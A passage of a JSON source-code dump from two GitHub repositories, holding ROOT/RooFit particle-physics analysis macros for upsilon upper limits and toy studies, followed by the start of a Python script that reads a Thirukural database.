0.9117*TMath::Erf((x-0.3544)/1.9652);\n else if (idx == 52 ) num = 0.9085*TMath::Erf((x-0.8290)/1.4986);\n else if (idx == 53 ) num = 0.9339*TMath::Erf((x-0.0001)/2.5367);\n else if (idx == 54 ) num = 0.9055*TMath::Erf((x-0.0051)/2.1052);\n else if (idx == 55 ) num = 0.9139*TMath::Erf((x-0.6377)/1.8184);\n else if (idx == 56 ) num = 0.8956*TMath::Erf((x-0.7133)/1.5832);\n else if (idx == 57 ) num = 0.8944*TMath::Erf((x-0.6918)/1.5760);\n else if (idx == 58 ) num = 0.8740*TMath::Erf((x-0.6102)/1.6201);\n else if (idx == 59 ) num = 0.8934*TMath::Erf((x-0.2343)/2.0419);\n else if (idx == 60 ) num = 0.8862*TMath::Erf((x-0.1511)/2.0487);\n else if (idx == 61 ) num = 0.8825*TMath::Erf((x-0.9751)/1.2993);\n else if (idx == 62 ) num = 0.8925*TMath::Erf((x-0.2182)/2.0271);\n else if (idx == 63 ) num = 0.9230*TMath::Erf((x-0.6998)/1.6171);\n else if (idx == 64 ) num = 0.9294*TMath::Erf((x-0.0001)/2.3928);\n else if (idx == 65 ) num = 0.8908*TMath::Erf((x-0.2356)/1.9359);\n else if (idx == 66 ) num = 0.9198*TMath::Erf((x-0.2721)/1.9908);\n else if (idx == 67 ) num = 0.9297*TMath::Erf((x-0.8119)/1.6569);\n else if (idx == 68 ) num = 0.8875*TMath::Erf((x-0.0197)/2.2234);\n else if (idx == 69 ) num = 0.8853*TMath::Erf((x-0.7150)/1.5560);\n else if (idx == 70 ) num = 0.8926*TMath::Erf((x-0.6122)/1.5496);\n else if (idx == 71 ) num = 0.8866*TMath::Erf((x-0.1591)/2.1265);\n else if (idx == 72 ) num = 0.9078*TMath::Erf((x-0.7423)/1.5587);\n else if (idx == 73 ) num = 0.8853*TMath::Erf((x-0.3719)/1.7744);\n else if (idx == 74 ) num = 0.8848*TMath::Erf((x-0.0002)/2.2106);\n else if (idx == 75 ) num = 0.9000*TMath::Erf((x-0.0000)/2.1305);\n else if (idx == 76 ) num = 0.9025*TMath::Erf((x-0.2675)/2.0987);\n else if (idx == 77 ) num = 0.9209*TMath::Erf((x-0.2320)/2.0596);\n else if (idx == 78 ) num = 0.8915*TMath::Erf((x-0.8565)/1.3909);\n else if (idx == 79 ) num = 0.9107*TMath::Erf((x-0.5860)/1.7424);\n else if (idx == 80 ) num = 0.9137*TMath::Erf((x-0.0004)/2.3112);\n else if (idx == 81 ) num = 0.9028*TMath::Erf((x-0.9218)/1.3760);\n else if (idx == 82 ) num = 0.9411*TMath::Erf((x-0.0002)/2.6224);\n else if (idx == 83 ) num = 0.9021*TMath::Erf((x-0.6618)/1.6607);\n else if (idx == 84 ) num = 0.8834*TMath::Erf((x-0.6852)/1.5732);\n else if (idx == 85 ) num = 0.9159*TMath::Erf((x-0.3801)/2.0638);\n else if (idx == 86 ) num = 0.8949*TMath::Erf((x-0.9764)/1.2627);\n else if (idx == 87 ) num = 0.9155*TMath::Erf((x-0.0003)/2.4445);\n else if (idx == 88 ) num = 0.9227*TMath::Erf((x-0.9742)/1.3795);\n else if (idx == 89 ) num = 0.9004*TMath::Erf((x-0.4428)/1.9254);\n else if (idx == 90 ) num = 0.8901*TMath::Erf((x-0.9824)/1.2106);\n else if (idx == 91 ) num = 0.8849*TMath::Erf((x-0.5116)/1.6491);\n else if (idx == 92 ) num = 0.8991*TMath::Erf((x-0.7910)/1.5912);\n else if (idx == 93 ) num = 0.8842*TMath::Erf((x-0.9408)/1.3832);\n else if (idx == 94 ) num = 0.9000*TMath::Erf((x-0.5123)/1.7608);\n else if (idx == 95 ) num = 0.8953*TMath::Erf((x-0.1440)/2.1545);\n else if (idx == 96 ) num = 0.8901*TMath::Erf((x-0.3508)/1.7106);\n else if (idx == 97 ) num = 0.8954*TMath::Erf((x-0.8025)/1.5071);\n else if (idx == 98 ) num = 0.8822*TMath::Erf((x-0.5702)/1.6965);\n else if (idx == 99 ) num = 0.8738*TMath::Erf((x-0.7460)/1.4603);\n else if (idx == 100 ) num = 0.8709*TMath::Erf((x-0.7599)/1.3440);\n }\n\n // return\n return num/den;\n}\n\n#endif //#ifndef tnp_weight_h\n" }, { "alpha_fraction": 0.6387574076652527, "alphanum_fraction": 0.6536828279495239, "avg_line_length": 36.31162643432617, "blob_id": "b0619e449d453b9d9515bfed9cd1e130fbd49926", "content_id": "af813a303ec16972285fe1ed39ede85232a051ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8241, "license_type": "no_license", "max_line_length": 155, "num_lines": 215, "path": "/upperlimit/upperlimit/CI.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef __CINT__\r\n#include \"RooGlobalFunc.h\"\r\n#endif\r\n\r\n#include \"RooAbsPdf.h\"\r\n#include \"RooAddPdf.h\"\r\n#include \"RooCBShape.h\"\r\n#include \"RooChebychev.h\"\r\n#include \"RooConstVar.h\"\r\n#include \"RooDataSet.h\"\r\n#include \"RooFitResult.h\"\r\n#include \"RooGaussian.h\"\r\n#include \"RooGenericPdf.h\"\r\n#include \"RooHist.h\"\r\n#include \"RooHistPdf.h\"\r\n#include \"RooDataHist.h\"\r\n#include \"RooKeysPdf.h\"\r\n#include \"RooProdPdf.h\"\r\n#include \"RooMCStudy.h\"\r\n#include \"RooPolynomial.h\"\r\n#include \"RooRealVar.h\"\r\n#include \"RooPlot.h\"\r\n#include \"RooWorkspace.h\"\r\n#include \"RooChi2Var.h\"\r\n#include \"RooStats/ModelConfig.h\"\r\n#include \"RooStats/ProfileLikelihoodCalculator.h\"\r\n#include \"RooStats/LikelihoodInterval.h\"\r\n#include \"RooStats/LikelihoodIntervalPlot.h\"\r\n#include \"RooStats/ToyMCSampler.h\"\r\n#include \"RooStats/FeldmanCousins.h\"\r\n#include \"RooStats/ProfileLikelihoodTestStat.h\"\r\n\r\n// Root stuff\r\n#include \"TROOT.h\"\r\n#include \"TAxis.h\"\r\n#include \"TCanvas.h\"\r\n#include \"TDirectory.h\"\r\n#include \"TFile.h\"\r\n#include \"TLatex.h\"\r\n#include \"TSystem.h\"\r\n#include \"TMath.h\"\r\n#include \"TPaveLabel.h\"\r\n#include \"TPaveText.h\"\r\n#include \"TStyle.h\"\r\n#include \"TText.h\"\r\n\r\n#include <fstream>\r\n#include <new>\r\n#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\nusing namespace RooFit;\r\nusing namespace RooStats;\r\n\r\n// // CI -> the confidence interval you want.\r\n//pair<double, double> ConfidenceInterval(float CI, RooRealVar *fnll, RooDataSet *data, RooAbsPdf *pdf);\r\n\r\npair<double, double> CI(float CI, const char *poiname=\"N_{#Upsilon(3S)}\")\r\n{\r\n RooRealVar *theVar; RooDataSet *data; RooAbsPdf *pdf;\r\n // Open input file with workspace (generated by rf14_wspacewrite)\r\n TFile *f = new TFile(\"fitresult_pbpb_04nov2014.root\") ;\r\n\r\n // Retrieve workspace from file\r\n RooWorkspace* ws = (RooWorkspace*) f->Get(\"ws\");\r\n theVar = ws->var(poiname);\r\n pdf = ws->pdf(\"pdf\");\r\n data =(RooDataSet *) ws->data(\"data\");\r\n\r\n // Print structure of composite p.d.f.\r\n pdf->Print(\"t\") ;\r\n\r\n\r\n\r\n //ConfidenceInterval(0.95, n3S, data, pdf);\r\n\r\n\r\n ProfileLikelihoodCalculator pl(*data,*pdf,*theVar);\r\n pl.SetConfidenceLevel(CI); \r\n int ci = 100*CI;\r\n LikelihoodInterval* interval = pl.GetInterval();\r\n LikelihoodIntervalPlot plot(interval);\r\n TCanvas c4; c4.cd(); \r\n plot.SetRange(50.,0.,250.,3.);\r\n // plot.Draw();\r\n TLatex latexCI;\r\n latexCI.SetNDC();\r\n latexCI.SetTextSize(0.035);\r\n latexCI.DrawLatex(0.5,1.-0.05*2,Form(\"%s %d % C.I.\",poiname,ci));\r\n latexCI.DrawLatex(0.5,1.-0.05*3,Form(\"Upper limit: %f\",interval->UpperLimit(*theVar)));\r\n latexCI.DrawLatex(0.5,1.-0.05*4,Form(\"Lower limit: %f\",interval->LowerLimit(*theVar)));\r\n TString intrvlName = theVar->GetTitle();\r\n // print out the iterval on the Parameter of Interest\r\n cout <<endl<< CI <<\"\\% interval on \" <<theVar->GetName()<<\" is : [\"<<\r\n interval->LowerLimit(*theVar) << \", \"<<\r\n interval->UpperLimit(*theVar) << \"] \"<<endl;\r\n pair<double, double> CnfdncIntrvl;\r\n CnfdncIntrvl.first = interval->LowerLimit(*theVar);\r\n CnfdncIntrvl.second = interval->UpperLimit(*theVar);\r\n c4.SaveAs(\"ULtest.pdf\");\r\n\r\n // Let's try to get a Feldman-Cousins interval\r\n ModelConfig modelConfig(ws);\r\n modelConfig.SetPdf(*pdf);\r\n RooArgSet paramOfInterest(*theVar);\r\n modelConfig.SetParametersOfInterest(paramOfInterest);\r\n /////////////////////////////////////////////////////////////\r\n // Now get the POI for convenience\r\n // you may want to adjust the range of your POI\r\n ////////////////////////////////////////////////////////////\r\n RooRealVar* firstPOI = (RooRealVar*) modelConfig.GetParametersOfInterest()->first();\r\n // firstPOI->setMin(0.7*max((double) 0.,CnfdncIntrvl.first));\r\n // firstPOI->setMax(1.3*CnfdncIntrvl.second);\r\n firstPOI->setMin(80.);\r\n firstPOI->setMax(100.);\r\n\r\n // create and use the FeldmanCousins tool\r\n FeldmanCousins fc(*data,modelConfig);\r\n // fc.SetTestSize(1-CI);\r\n fc.SetConfidenceLevel(CI); // 95% interval\r\n fc.AdditionalNToysFactor(0.2); // to speed up the result. Basically N toys = 1000 by default, so with 0.2 it will do 200 toys per test value of the POI.\r\n // fc.UseAdaptiveSampling(true); // speed it up a bit, but don't use for expectd limits\r\n fc.SetNBins(50);\r\n fc.CreateConfBelt(true); // save the information in the belt for plotting\r\n\r\n /////////////////////////////////////////////\r\n // Feldman-Cousins is a unified limit by definition\r\n // but the tool takes care of a few things for us like which values\r\n // of the nuisance parameters should be used to generate toys.\r\n // so let's just change the test statistic and realize this is \r\n // no longer \"Feldman-Cousins\" but is a fully frequentist Neyman-Construction.\r\n // fc.GetTestStatSampler()->SetTestStatistic(&onesided);\r\n // ((ToyMCSampler*) fc.GetTestStatSampler())->SetGenerateBinned(true);\r\n ToyMCSampler* toymcsampler = (ToyMCSampler*) fc.GetTestStatSampler(); \r\n ProfileLikelihoodTestStat* testStat = dynamic_cast<ProfileLikelihoodTestStat*>(toymcsampler->GetTestStatistic());\r\n\r\n // Since this tool needs to throw toy MC the PDF needs to be\r\n // extended or the tool needs to know how many entries in a dataset\r\n // per pseudo experiment. \r\n // In the 'number counting form' where the entries in the dataset\r\n // are counts, and not values of discriminating variables, the\r\n // datasets typically only have one entry and the PDF is not\r\n // extended. \r\n if(!modelConfig.GetPdf()->canBeExtended()){\r\n if(data->numEntries()==1) \r\n fc.FluctuateNumDataEntries(false);\r\n else\r\n cout <<\"Not sure what to do about this model\" <<endl;\r\n }\r\n\r\n // We can use PROOF to speed things along in parallel\r\n // ProofConfig pc(*ws, 7, \"workers=7\",false); \r\n ProofConfig pc(*ws, 200,gSystem->GetFromPipe(\"pod-info -c\"),false); \r\n if(modelConfig.GetGlobalObservables()){\r\n cout << \"will use global observables for unconditional ensemble\"<<endl;\r\n modelConfig.GetGlobalObservables()->Print();\r\n toymcsampler->SetGlobalObservables(*modelConfig.GetGlobalObservables());\r\n }\r\n toymcsampler->SetProofConfig(&pc);\t// enable proof\r\n\r\n // now compute the interval\r\n ConfInterval* fcint = fc.GetInterval();\r\n ConfidenceBelt* belt = fc.GetConfidenceBelt();\r\n\r\n // Get Lower and Upper limits from FeldmanCousins with profile construction\r\n if (fcint != NULL) {\r\n double fcul = ((PointSetInterval*) fcint)->UpperLimit(*theVar);\r\n double fcll = ((PointSetInterval*) fcint)->LowerLimit(*theVar);\r\n cout << \"FC lower limit on s = \" << fcll << endl;\r\n cout << \"FC upper limit on s = \" << fcul << endl;\r\n TLine* fcllLine = new TLine(fcll, 0, fcll, 1);\r\n TLine* fculLine = new TLine(fcul, 0, fcul, 1);\r\n fcllLine->SetLineColor(kRed);\r\n fculLine->SetLineColor(kRed);\r\n fcllLine->Draw(\"same\");\r\n fculLine->Draw(\"same\");\r\n c4.Update();\r\n }\r\n\r\n // // Using HypotTestInverter\r\n // // prepare the calculator\r\n // RooAbsPdf *bkgPdf = new RooAbsPdf(*pdf,\"bkgPdf\");\r\n // HybridCalculatorOriginal myhc(*data, *pdf, bkgPdf,0,0);\r\n // myhc.SetTestStatistic(2);\r\n // myhc.SetNumberOfToys(1000);\r\n // myhc.UseNuisance(false); \r\n\r\n // // run the hypothesis-test invertion\r\n // HypoTestInverterOriginal myInverter(myhc,*theVar);\r\n // myInverter.SetTestSize(1-CI);\r\n // myInverter.UseCLs(true);\r\n // // myInverter.RunFixedScan(5,1,6);\r\n // // scan for a 95% UL\r\n // myInverter.RunAutoScan(0,200,myInverter.Size()/2,0.005); \r\n // // run an alternative autoscan algorithm \r\n // // myInverter.RunAutoScan(1,6,myInverter.Size()/2,0.005,1); \r\n // //myInverter.RunOnePoint(3.9);\r\n\r\n\r\n // HypoTestInverterResult* results = myInverter.GetInterval();\r\n\r\n // HypoTestInverterPlot myInverterPlot(\"myInverterPlot\",\"\",results);\r\n // TGraphErrors* gr1 = myInverterPlot.MakePlot();\r\n // gr1->Draw(\"ALP\");\r\n\r\n // double ulError = results->UpperLimitEstimatedError();\r\n\r\n // double upperLimit = results->UpperLimit();\r\n // std::cout << \"The computed upper limit is: \" << upperLimit << std::endl;\r\n // std::cout << \"an estimated error on this upper limit is: \" << ulError << std::endl;\r\n\r\n\r\n return CnfdncIntrvl;\r\n}\r\n\r\n\r\n" }, { "alpha_fraction": 0.598802924156189, "alphanum_fraction": 0.6087784767150879, "avg_line_length": 30.337244033813477, "blob_id": "4f9dc82ba732fcfd537cbc465a982c8181d09df2", "content_id": "f8db274c80a118ea195a5eaf380044f49b0532a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11027, "license_type": "no_license", "max_line_length": 128, "num_lines": 341, "path": "/upperlimit/upperlimit/hiToys.cc", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"RooRandom.h\"\r\n#include \"RooSimultaneous.h\"\r\n#include \"RooPlot.h\"\r\n#include \"RooFitResult.h\"\r\n#include \"TCanvas.h\"\r\n#include \"RooMsgService.h\"\r\n//#include <locale.h>\r\n\r\n#include \"buildSimPdf.cc\"\r\n\r\n#include <fstream>\r\n\r\nRooDataSet * genSameSignDatasets(RooWorkspace& ws) {\r\n RooRealVar * mass = ws.var(\"invariantMass\");\r\n TIter types(ws.cat(\"dataCat\")->typeIterator());\r\n RooCatType * type;\r\n types.Reset();\r\n RooDataSet * ssData = \r\n (RooDataSet *)ws.data(\"data\")->emptyClone(\"toy_ss_Data\");\r\n RooDataSet * protoData;\r\n RooAbsPdf * SS;\r\n while ((type=(RooCatType*)types.Next())) {\r\n SS = ws.pdf(TString::Format(\"bkgLikeSignPdf_%s\", type->GetName()));\r\n protoData = \r\n (RooDataSet *)ws.data(TString::Format(\"data_ss_%s\", type->GetName()));\r\n \r\n RooDataSet * ssTmp = SS->generate(RooArgSet(*mass), \r\n\t\t\t\t protoData->numEntries(),\r\n\t\t\t\t RooFit::ProtoData(*protoData));\r\n ssData->append(*ssTmp);\r\n delete ssTmp;\r\n }\r\n return ssData;\r\n}\r\n\r\nRooDataSet * genOppositeSignBackground(RooWorkspace& ws, int& Nhi,\r\n\t\t\t\t int& Npp, bool doPoisson = true) {\r\n RooRealVar * mass = ws.var(\"invariantMass\");\r\n TIter types(ws.cat(\"dataCat\")->typeIterator());\r\n RooCatType * type;\r\n types.Reset();\r\n RooDataSet * osBkgData = \r\n (RooDataSet *)ws.data(\"data\")->emptyClone(\"toy_os_Data\");\r\n RooDataSet * protoData;\r\n RooAbsPdf * bkg;\r\n int N;\r\n if (doPoisson) {\r\n Nhi = RooRandom::randomGenerator()->Poisson(Nhi);\r\n Npp = RooRandom::randomGenerator()->Poisson(Npp);\r\n }\r\n while ((type=(RooCatType*)types.Next())) {\r\n protoData = \r\n (RooDataSet*)ws.data(TString::Format(\"data_os_%s\", type->GetName()));\r\n bkg = ws.pdf(TString::Format(\"bkg_%s\", type->GetName()));\r\n if ((*type) == \"hi\")\r\n N = Nhi;\r\n else\r\n N = Npp;\r\n RooDataSet * tmpData = bkg->generate(RooArgSet(*mass), N,\r\n\t\t\t\t\t RooFit::ProtoData(*protoData));\r\n osBkgData->append(*tmpData);\r\n delete tmpData;\r\n }\r\n return osBkgData;\r\n}\r\n\r\nRooDataSet * genOppositeSignSignal(RooWorkspace& ws, int Nhi, int Npp) {\r\n \r\n RooRealVar * mass = ws.var(\"invariantMass\");\r\n TIter types(ws.cat(\"dataCat\")->typeIterator());\r\n RooCatType * type;\r\n types.Reset();\r\n RooDataSet * osSigData = \r\n (RooDataSet *)ws.data(\"data\")->emptyClone(\"toy_os_Data\");\r\n RooAbsPdf * sig = ws.pdf(\"sig_pp\");\r\n RooDataSet * protoData;\r\n int N;\r\n while ((type=(RooCatType*)types.Next())) {\r\n protoData = \r\n (RooDataSet*)ws.data(TString::Format(\"data_os_%s\", type->GetName()));\r\n if ((*type) == \"hi\")\r\n N = Nhi;\r\n else\r\n N = Npp;\r\n RooDataSet * tmpData = sig->generate(RooArgSet(*mass), N,\r\n\t\t\t\t\t RooFit::ProtoData(*protoData));\r\n osSigData->append(*tmpData);\r\n delete tmpData;\r\n }\r\n return osSigData;\r\n}\r\n\r\n/*\r\n hiToys : this function will generate and fit pseudo-experiments.\r\n These pseudo-experiments use the pp shape as the signal shape for\r\n both pp and hi pseudo-signal with the ability to tweak X_23.\r\n\r\n Parameters: \r\n \r\n Ntoys : number of pseudo-experiements you want to\r\n produce and fit. \r\n\r\n parVals : name of a text file that contains the initial values for\r\n the floating parameters in the fit. Of the format the RooFit likes\r\n to read in.\r\n\r\n outfname : a filename for the output of the results of the pseudo\r\n experiments. This file will contain a line for each\r\n pseudo-experiment. Each line will have the results of the floating\r\n parameters and their generated value if that can be deduced.\r\n\r\n randfname : a filename for a root file containing a RooFitResult\r\n that will be used to randomize the generation.\r\n\r\n systfname : a filename for a root file containing a RooFitResult\r\n that will be used to randomize the generation of the fixed signal\r\n shape parameters.\r\n\r\n desiredX_23 : This will be the X_23 imposed on the data, by\r\n modifying the hi pdf.\r\n\r\n seed : this is the random seed. Zero is good, but when running in\r\n batch one may wish to set it manually to ensure all of the jobs are\r\n different.\r\n \r\n */\r\n\r\nvoid hiToys(int Ntoys=50, const string CharparVals=\"../files/NewSimFit.txt\", const string Charoutfname=\"../files/testToys.txt\", \r\n\t double ptCut=4.,\r\n\t bool useKeys = false,\r\n\t const string Charrandfname = \"../output/NewSimFit.root\", const string Charsystfname = \"../output/NewSimFit.root\",\r\n\t /*double desiredX_23 = 1.0,*/ double ppMult = 1.0,\r\n\t unsigned int seed = 0.1) {\r\n RooWorkspace ws;\r\n // double mmin = 7.0; double mmax = 14.0; //linearbg_ = false;\r\n TString hidatafile(\"/afs/cern.ch/user/n/nfilipov/dimuonTree_2011_pp.root\");\r\n TString ppdatafile(\"/afs/cern.ch/user/n/nfilipov/dimuonTree_HI2011_fulldataset_trkRot.root\");\r\n\r\n RooMsgService::instance().setGlobalKillBelow(RooFit::WARNING);\r\n RooRandom::randomGenerator()->SetSeed(seed);\r\n\r\n\r\n TString cuts(TString::Format(\"(muPlusPt > %0.1f) && (muMinusPt > %0.1f) \"\r\n\t\t\t \"&& (abs(upsRapidity)<2.4)\", ptCut, ptCut));\r\n readData(ws, hidatafile, ppdatafile, cuts);\r\n \r\n buildPdf(ws, true, useKeys,true,false);\r\n buildPdf(ws, false, useKeys,true, false);\r\n\r\n RooCategory * dataCat = ws.cat(\"dataCat\");\r\n RooCategory * QQsign = ws.cat(\"QQsign\");\r\n RooSimultaneous * simPdf = buildSimPdf(ws, *dataCat);\r\n \r\n TString parVals(CharparVals);\r\n TString outfname(Charoutfname);\r\n TString randfname(Charrandfname);\r\n TString systfname(Charsystfname);\r\n\r\n RooArgSet * pars = simPdf->getParameters(ws.data(\"data\"));\r\n pars->readFromFile(parVals);\r\n\r\n std::cout << \"\\nstarting parameters from fit\\n\";\r\n pars->Print(\"v\");\r\n\r\n RooFitResult * nll = 0;\r\n RooArgSet * newPars = 0;\r\n if (randfname.Length() > 0) {\r\n TFile nllf(randfname);\r\n nllf.GetObject(\"nll\", nll);\r\n assert(nll);\r\n newPars = new RooArgSet(nll->randomizePars());\r\n //newPars->Print(\"v\");\r\n nllf.Close();\r\n }\r\n\r\n RooFitResult * systRes = 0;\r\n RooArgSet * systPars = 0;\r\n if (systfname.Length() > 0) {\r\n TFile systf(systfname);\r\n systf.GetObject(\"nll\", systRes);\r\n assert(systRes);\r\n systPars = new RooArgSet(systRes->randomizePars());\r\n std::cout << \"\\nsystematic parameters\\n\";\r\n systPars->Print(\"v\");\r\n systf.Close();\r\n }\r\n\r\n int Npp_tot(ws.var(\"nsig1_pp\")->getVal() +\r\n\t ws.function(\"nsig2_pp\")->getVal() +\r\n\t ws.function(\"nsig3_pp\")->getVal() +\r\n\t ws.var(\"nbkg_pp\")->getVal() + 0.5);\r\n int Nhi_tot(ws.var(\"nsig1_hi\")->getVal() +\r\n\t ws.function(\"nsig2_hi\")->getVal() +\r\n\t ws.function(\"nsig3_hi\")->getVal() +\r\n\t ws.var(\"nbkg_hi\")->getVal() + 0.5);\r\n\r\n Npp_tot *= ppMult;\r\n std::cout << \"Npp_tot: \" << Npp_tot << '\\n'\r\n\t << \"Nhi_tot: \" << Nhi_tot << '\\n';\r\n\r\n TIter dataCats(dataCat->typeIterator());\r\n RooCatType * dataStr;\r\n dataCats.Reset();\r\n TString theCut, signStr;\r\n RooDataSet * tmpData;\r\n while ((dataStr=(RooCatType*)dataCats.Next())) {\r\n for(int qq = 0; qq < 2; ++qq) {\r\n theCut = TString::Format(\"(dataCat == dataCat::%s)\", dataStr->GetName());\r\n if (qq) {\r\n\ttheCut += \"&&(QQsign != QQsign::PlusMinus)\";\r\n\tsignStr = \"ss\";\r\n } else {\r\n\ttheCut += \"&&(QQsign == QQsign::PlusMinus)\";\r\n\tsignStr = \"os\";\r\n }\r\n tmpData = (RooDataSet *)\r\n\tws.data(\"data\")->reduce(RooFit::SelectVars(RooArgSet(*dataCat, \r\n\t\t\t\t\t\t\t *QQsign)), \r\n\t\t\t\tRooFit::Name(TString::Format(\"data_%s_%s\", \r\n\t\t\t\t\t\t\t signStr.Data(), \r\n\t\t\t\t\t\t\t dataStr->GetName())),\r\n\t\t\t\tRooFit::Cut(theCut));\r\n ws.import(*tmpData);\r\n delete tmpData;\r\n }\r\n }\r\n \r\n ofstream fout(outfname.Data(), ios_base::out|ios_base::trunc); \r\n\r\n int Npp_bkg(ws.var(\"nbkg_pp\")->getVal() + 0.5);\r\n int Nhi_bkg(ws.var(\"nbkg_hi\")->getVal() + 0.5);\r\n RooDataSet * toyData;\r\n RooCategory * toyCat;\r\n RooSimultaneous * simPdfToy;\r\n RooArgSet * toyPars;\r\n RooRealVar * par;\r\n RooFitResult * fr;\r\n for (int i = 0; i < Ntoys; ++i) {\r\n pars->readFromFile(parVals);\r\n\r\n if (nll) {\r\n nll->randomizePars();\r\n pars->assignValueOnly(*newPars);\r\n }\r\n\r\n pars->setRealValue(\"nsig1_pp\", pars->getRealValue(\"nsig1_pp\")*ppMult);\r\n pars->setRealValue(\"nbkg_pp\", pars->getRealValue(\"nbkg_pp\")*ppMult);\r\n\r\n if (systRes) {\r\n systRes->randomizePars();\r\n pars->setRealValue(\"alpha\", systPars->getRealValue(\"alpha\", 1.6));\r\n pars->setRealValue(\"npow\", systPars->getRealValue(\"npow\", 2.3));\r\n pars->setRealValue(\"sigma1\", systPars->getRealValue(\"sigma1\", 0.092));\r\n }\r\n\r\n// std::cout << \"Generating parameters\\n\";\r\n// pars->Print(\"v\");\r\n Npp_bkg = int(ws.var(\"nbkg_pp\")->getVal() + 0.5);\r\n Nhi_bkg = int(ws.var(\"nbkg_hi\")->getVal() + 0.5);\r\n toyData = (RooDataSet *)ws.data(\"data\")->emptyClone();\r\n\r\n if (useKeys) {\r\n tmpData = genSameSignDatasets(ws);\r\n toyData->append(*tmpData);\r\n delete tmpData;\r\n }\r\n tmpData = genOppositeSignBackground(ws, Nhi_bkg, Npp_bkg);\r\n toyData->append(*tmpData);\r\n delete tmpData;\r\n tmpData = genOppositeSignSignal(ws, Nhi_tot-Nhi_bkg, Npp_tot-Npp_bkg);\r\n toyData->append(*tmpData);\r\n delete tmpData;\r\n\r\n RooWorkspace wsToy(\"wsToy\", \"wsToy\");\r\n wsToy.import(*toyData);\r\n delete toyData;\r\n\r\n buildPdf(wsToy, true, useKeys);\r\n buildPdf(wsToy, false, useKeys);\r\n\r\n toyCat = wsToy.cat(\"dataCat\");\r\n\r\n simPdfToy = buildSimPdf(wsToy, *toyCat);\r\n toyPars = simPdfToy->getParameters(wsToy.data(\"data\"));\r\n\r\n\r\n toyPars->readFromFile(parVals);\r\n toyPars->setRealValue(\"nsig1_pp\", \r\n\t\t\t toyPars->getRealValue(\"nsig1_pp\")*ppMult);\r\n toyPars->setRealValue(\"nbkg_pp\", toyPars->getRealValue(\"nbkg_pp\")*ppMult);\r\n toyPars->setRealValue(\"f23_hi\", \r\n\t\t\t toyPars->getRealValue(\"f23_pp\"));\r\n toyPars->setRealValue(\"f2_hi\", toyPars->getRealValue(\"f2_pp\"));\r\n\r\n RooArgSet truePars;\r\n toyPars->snapshot(truePars, true);\r\n\r\n toyData = \r\n (RooDataSet *)wsToy.data(\"data\")->reduce(\"QQsign==QQsign::PlusMinus\");\r\n\r\n fr = simPdfToy->fitTo(*toyData, RooFit::Extended(),\r\n\t\t\t RooFit::Minos(false),\r\n\t\t\t RooFit::NumCPU(4),\r\n\t\t\t RooFit::PrintLevel((Ntoys==1) ? 1 : -1),\r\n\t\t\t RooFit::Save(true));\r\n\r\n\r\n fout << \"nll \" << fr->minNll() << ' '\r\n\t << \"edm \" << fr->edm() << ' '\r\n\t << \"covQual \" << fr->covQual() << ' ';\r\n\r\n TIter finalPar(fr->floatParsFinal().createIterator());\r\n while ((par = (RooRealVar *)finalPar())) {\r\n double trueVal = truePars.getRealValue(par->GetName(), 0.);\r\n fout << par->GetName() << ' '\r\n\t << par->getVal() << ' '\r\n\t << par->getError() << ' '\r\n\t << trueVal << ' ';\r\n }\r\n \r\n fout << \"x23 \"\r\n\t << computeRatio(*(wsToy.var(\"f23_hi\")), *(wsToy.var(\"f23_pp\"))) << ' '\r\n\t << computeRatioError(*(wsToy.var(\"f23_hi\")), *(wsToy.var(\"f23_pp\")))\r\n\t << ' ' << 1.0 << ' ';\r\n fout << \"x2 \"\r\n\t << computeRatio(*(wsToy.var(\"f2_hi\")), *(wsToy.var(\"f2_pp\"))) << ' '\r\n\t << computeRatioError(*(wsToy.var(\"f2_hi\")), *(wsToy.var(\"f2_pp\")))\r\n\t << ' ' << 1.0 << ' ';\r\n\r\n fout << '\\n';\r\n char frName[100]=\"frName\";\r\n frName=frName+i;\r\n frName+=\".root\";\r\n fr.SaveAs(frName)\r\n delete toyData;\r\n delete toyPars;\r\n delete fr;\r\n }\r\n delete pars;\r\n\r\n}\r\n" }, { "alpha_fraction": 0.59375, "alphanum_fraction": 0.606249988079071, "avg_line_length": 39, "blob_id": "2270f1a60a9c0d579b0e6fae8327d292b067fa38", "content_id": "79ba942094366968994cb558a9281f570863e3e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 480, "license_type": "no_license", "max_line_length": 80, "num_lines": 12, "path": "/acceptance_efficiency/calc_effs.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "void calc_effs(const char* thefiles, int YS=1, bool ispbpb=true, int strategy=0)\n // YS = N for NS\n // ispbpb = true for PbPb, false for pp\n // strategy = 0 for fit + reco quantities\n // 1 for fit + truth quantities\n // 2 for count + reco quantities\n // 3 for count + reco quantities\n{\n gROOT->LoadMacro(\"dimueff.C+\");\n TChain *tch = new TChain(\"myTree\"); tch->Add(thefiles);\n dimueff toto(tch); toto.Loop(YS,ispbpb,strategy);\n}\n" } ]
57
kirubasankars/thirukural
https://github.com/kirubasankars/thirukural
f0c421732bd853bdb4d15674c7643e5c57bd95a2
11fcf6789fc010401e450ba401d44f6ad1532925
e08d4c908751029b175db29f0ca9b9e01ed6ee5a
refs/heads/master
2022-12-06T11:20:53.092252
2020-09-01T00:42:58
2020-09-01T00:42:58
291,351,919
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6028537750244141, "alphanum_fraction": 0.6242568492889404, "avg_line_length": 33.013511657714844, "blob_id": "cb29f797614e2126bc86b2f5030bb3cf08f456e6", "content_id": "505c8512d3e11e250aed862cbae02bca9e6d1964", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2523, "license_type": "permissive", "max_line_length": 251, "num_lines": 74, "path": "/kural.py", "repo_name": "kirubasankars/thirukural", "src_encoding": "UTF-8", "text": "\nimport sqlite3, sys\nimport codecs\nfrom unicodedata import normalize\n\nconn = sqlite3.connect('./src/kural.db')\n\ncur = conn.cursor()\ncur.execute(\"SELECT cast(kurals.id as int) as id, kural, title, content FROM kurals join vilakams WHERE kurals.id = vilakams.id order by kurals.id\")\n#cur.execute(\"SELECT cast(id as int) as id, kural, title FROM kurals order by id\")\n\nrows = cur.fetchall()\n\nkural_id = '''\n <div class=\"sl-block k_id\" data-block-type=\"text\">\n kural_id\n 